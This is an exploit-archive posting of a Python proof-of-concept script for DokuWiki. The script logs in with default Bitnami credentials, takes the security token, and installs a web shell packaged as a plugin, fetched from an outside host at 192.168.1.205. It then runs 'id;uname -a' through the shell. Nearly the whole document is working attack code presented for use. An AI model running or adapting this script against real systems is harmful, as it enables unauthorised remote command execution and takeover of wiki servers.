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DokuWiki Proof Of Concept Shell Upload

DokuWiki Proof Of Concept Shell Upload
Posted May 28, 2017
Authored by Cody Sixteen

This proof of concept code shows how administrative functionality can be abused in DokuWiki to upload a shell.

tags | exploit, shell, proof of concept
MD5 | 729d40f68a98bc4c5c3dc2afec215396

DokuWiki Proof Of Concept Shell Upload

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c@kali:~/src/napalm2.2/modules$ cat shell-dokuwiki.py
#!/usr/bin/env python
# shell-dokuwiki.py - module to upload shell, based on previous version
# created 28.04.2017. Bug ('feature') is exploitable only
# when you will have a valid credentials.
# for this proof-of-concept you'll also need host with you.r/shell.zip
#

import sys
import re
import requests

print '[+] Module : dokuwiki - started.'

print
target = raw_input("[+] Hostname> ")
logMe = target + '/doku.php?id=start&do=login&sectok='
print

session = requests.session()
login_data = dict(u='user', p='bitnami')
req = session.post(logMe, data=login_data)

# 2nd req:
afterPage = target + '/doku.php?id=start&do=admin&page=extension&tab=install'
req2 = session.get(afterPage)

resp = req2.text
if 'Log Out' in resp:
print '[+] We are logged-in as admin. Preparing shell...'


req3 = session.get(afterPage)
resp3 = req3.text

pattern = re.compile('<input type="hidden" name="sectok" value="(.*?)"/>')
found = re.search(pattern, resp3)

if found:
sectok = found.group(1)
print '[+] Found "sectok":' + str( sectok )
print '[+] Preparing shell params to upload'

data_shell = {
'sectok':sectok,
'installurl':'http://192.168.1.205/mishell.zip'
}
reqshell = session.post(afterPage, data=data_shell)
respshell = reqshell.text

md5name = re.compile('<div class="success">Plugin (.*?) installed successfully</div>')
foundmishell = re.search(md5name, respshell)

if foundmishell:
print '[+] Mishell name:' + str( foundmishell.group(1))

shellUrl = target + '/lib/plugins/'+foundmishell.group(1)+'/mishell.php?x=id;uname -a'
verify = session.get(shellUrl)
vtext = verify.text

print ' ',vtext
print ''
print '[+] Your shell should be here:', shellUrl

## can not log in
else:
print '[-] Can not login. Something is wrong :C'


print '[+] Module : dokuwiki - finished.'

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